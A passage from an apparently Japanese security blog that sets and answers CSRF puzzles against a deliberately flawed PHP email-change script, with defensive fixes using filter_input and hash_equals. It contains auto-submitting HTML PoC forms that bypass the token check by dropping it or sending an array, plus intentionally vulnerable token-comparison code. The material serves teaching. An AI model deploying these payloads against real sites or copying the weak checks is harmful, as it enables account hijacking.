次に、メールアドレスを適当に入力しますが、メールアドレス変更ボタンを押す前に、Burp Suite上で Intercept is on の状態にします。


その後メールアドレス変更ボタンを押します。下図のようにHTTPリクエストが捕捉されます。


上図の囲みの箇所で、トークンを下図のように変更します。

   
あとは Intercept is onボタンを押して(Intercept is offと表示が変わる)流しましょう。以下のように、メールアドレス変更に成功しました。


PoC作成

それでは、上記と同じ操作を再現するPoCを作成しましょう。
まず、chgmailform.phpを閲覧する操作が必要ですが、iframe要素にchgmailform.phpを表示することにより実現することにします。その後時間を置いてchgmail.phpをPOSTします。PoC例を以下に示します。
<body onload="setTimeout('document.forms[0].submit()', 5000)">
<iframe src="http://example.jp/chgmailform.php" width="250" height="100"></iframe>
<form method="POST" action="http://example.jp/chgmail.php">
<input name="mail" value="evil@example.com">
<input name="token[]" size="10" value="1">
<input type="submit">
</form>
</body>
PoCの表示例です。


5秒経過すると、自動サブミットにより、以下の状態になります。


メールアドレスが変更されていることがわかります。

対策の考え方

この記事で紹介した攻撃が成立する原因は、文字列を想定しているトークンとして配列を指定できるところにあります。これを防ぐ目的で、生の$_POSTではなく、filter_input関数を使う方法があります。
$p_token = filter_input(INPUT_POST, 'token');
こう書くと、$_POST['token']が配列の場合、filter_inputはfalseを返すので、empty()で空と判定され、エラーに倒すことができます。

また、トークンの比較にstrcmpを使うこともよくありません。これは初級編で書いていたように === を用いる方が安全ですが、もっと良い方法として、PHP 5.6で導入された hash_equals関数を使うべきです。hash_equals関数はタイミング攻撃の緩和のために導入されましたが、より現実的なメリットとして、配列やnull値など文字列以外の値が指定された場合falseを返すので、意図しない入力に対して頑健です。実装例を以下に示します。
$p_token = filter_input(INPUT_POST, 'token');
$s_token = $_SESSION['token'] ?? null;
if (empty($s_token) || empty($p_token) || ! hash_equals($s_token, $p_token)) {
  die('正規の画面からご使用ください');
}
このケースでは、empty()によるチェックはなくてもよいのですが、保険的に残しています。なくても良い理由は、empty()がtrueを返す値で、かつhash_equalsがtrueになる可能性は、トークンが空文字列(長さ0の文字列)同士で一致する場合だけですが、$_SESSION['token']が空文字列になるシナリオはないからです。

実際のアプリケーション開発の際には上記のように手作りのCSRF防御システムではなく、フレームワーク等が提供する仕組みを利用することをおすすめします。本稿で用いたサンプルは、脆弱性の説明のためにイケてない実装を採用しているので、改良したとしても本番システムでは使わないでください。

参考文献

PHPのstrcmp関数が配列を受け取った際の挙動については、OWASPのPHP Security Cheat Sheetに解説があり、JPCERT/CCの日本語訳で読むことができます。この解説の中に、Drupageddon(CVE-2014-3704)と「これとまったく同じ問題(原文はExactly the same issue)」とありますが、どうですかね。Drupageddonの原因については拙記事「DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた」を参照ください。Drupageddonと類似の問題としては「JSON SQL Injection、PHPならJSONなしでもできるよ」もあります。もっとも、PHP Security Cheat Sheetは先程見に行ったら「This page has been recommended for deletion.」と削除されていました。なかなか激しいです。
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」には、$_POSTではなくfilter_inputを用いる方がよいこと(P111)、トークンの比較にhash_equalsを用いるべきこと(P263)等が解説されています。
strcmpのPHP 5.3.0における仕様変更の状況については、海老原昂輔さんの「PHP 5.3 でネイティブ関数の引数型エラー時の返り値が変更になったけど大丈夫?」が参考になります。この記事の話は私も知っておらず、勉強になりました。(2018/11/15 12:00追記)

以上で、中級問題の解答編は終わりです。よろしければ「OWASP CSRFの防止策に関するチートシートにツッコミを入れる」にもチャレンジしてみてください。

2018年11月12日月曜日

問題:間違ったCSRF対策~中級編~

この記事は「問題:間違ったCSRF対策~初級編~」の続編です。前回同様、この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。
この問題が果たして「中級」なのかについては異論があると思います。きわめて易しいと思う人もいれば、きわめて難しいと思う人も多いと思います。中をとって中級としましたが、現実には難し目かと思います。

問題

今回の問題は、前回(初級編)のトークンチェック部分(chgmail.php内)のみを変更したものです。まずは変更箇所を説明します。

前回のおさらい
if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
今回のチェックプログラムは下記。トークンが空でないかempty()により確認していますが、トークンのチェックにstrcmpを使っているところが、なにやら匂いますねw
if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
以下は、上記を含めたメールアドレス変更プログラム(chgmail.php)の全体です。その他のスクリプト(mypage.php、chgmailform.php)は前回と同じなので、初級編を参照ください。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id']; // ユーザIDの取り出し
  if (empty($_SESSION['token']) || empty($_POST['token'])
     || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
    die('正規の画面からご使用ください');
  }
  unset($_SESSION['token']); // 使用済みトークンの削除
  $mail = $_POST['mail'];
  $_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

実行例は初級編と同じですので、初級編の記事を参照ください。

設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は11月15日(木)に公開予定です。

解答:間違ったCSRF対策~初級編~

この記事は、先日の記事「問題:間違ったCSRF対策~初級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。

それでは、解答を説明します。

はじめに

CSRF対策の不備として、ありがちなパターンは以下のとおりです。
  1. トークンが予測可能(ユーザIDのハッシュ値をトークンとして用いている等)
  2. 他人のトークンが利用できてしまう(参考記事
  3. トークンのチェック方法に不備がある。
問題のコードは、暗号論的に安全な乱数生成器(PHPのrandom_bytes関数)を用いてトークンを生成し、それをセッション変数に記憶しているので、上記1 と 2 は問題ないと考えられます。したがって、3 が該当しそうだと当たりをつけます。そのためには、攻撃者は以下のトークンチェック(chgmail.php内)を回避する必要があります。

if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
$_POST['token']は攻撃者が自由に設定できますが、正規のトークンの値は乱数なので予想できません。そこで、$_SESSION['token']がどのような値をとるか調べてみましょう。ログイン直後(mypage.php)にはこの変数は設定されていません。そして、PHPの場合、設定されていない変数を参照するとNULLが返ります(警告が表示され処理は継続される)。つまり、$_SESSION['token']の見かけの初期値はNULLということになります。そして、入力フォーム(chgmailform.php)に遷移するとトークンが設定され、メールアドレス変更(chgmail.php)の際にNULL(未定義)に戻ります。この様子を状態遷移図として下図に示します。
$_SESSION['token']に通常NULLが入っていることを使ってCSRF攻撃ができます。$_POST['token']がNULLであれば、上記のif文はNULL同士の比較になるので、チェックを回避できます。具体的には、POSTパラメータtokenを消してしまうことによって、$_POST['token']がNULLとなり、CSRFチェックを回避できます。

スクリプトを動かして確認してみる

ここで、Burp Suite(無償のCommunity Editionを想定)を用いて、上記を確認してみましょう。プロキシとしてBurp Suiteを設定した状態で、サンプルプログラムのメールアドレス変更を実行します。そして、chgmail.phpへのPOSTリクエストを選択し、コンテキストメニューを表示(Windowsの場合は右マウスクリック)して、「Send To Repeater」をクリックします。


下図のようにRepeaterタブが赤色表示に変わるので、このRepeaterタブをクリックします。

以下のように、HTTPリクエストの内容が表示されます。


ここで、リクエストボディ(上記赤枠の中)からtoken=以下をまるごと削除し、mail=も適当なメールアドレスに変更します(下図)。


この状態でRepeaterの「Go」ボタンを押すと、下図右半分のように、「aliceさんのメールアドレスをevil@wasbook.orgに変更しました」と表示されます。


すなわち、tokenパラメータを削除しても、更新処理が正常に完了することがわかりました。

PoCの作成

それでは、PoC(概念実証コード)を作成しましょぅ。Burp SuiteのProfessional版やOWASP ZAPにはCSRFのPoC生成ツールが利用できますが、このケースはPoCも単純なので、手で作ってしまいましょう。

要件としては、http://example.jp/chgmail.phpに対して、POSTリクエストでmail=... というパラメータを送信するだけです。そのようなHTMLを作成します。手動でサブミットでもいいのですが、以下はフォームが表示されてから5秒後に自動的にサブミットするようにしています。
<body onload="setTimeout('document.forms[0].submit()', 6000)">
<form action="http://example.jp/chgmail.php" method="post">
<input name="mail" value="evil@example.com">
<input type="submit">
<form>
<body>
これを動かしてみましょう。あなたは現在被害者の立場です。mypage.phpを閲覧して対象スクリプトにログインします。


この状態で、あなた(被害者)は、CSRFの罠をうっかり閲覧してしまいました。


罠の中のJavaScript(body要素のonloadイベント)により上記FormがPOSTされ、以下のように無事(?)メールアドレスが変更されました。


参考文献

平成29年春季の情報処理安全確保支援士試験 午後Ⅰ問2(問題解答講評)にこの知識を問う問題が出題されました。たまたまこの試験を私も受けていましたw
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」のP194には、この内容についての解説があります。

以上で、初級問題の解答編は終わりです。よろしければ「中級編」にもチャレンジしてみてください。

フォロワー

ブログ アーカイブ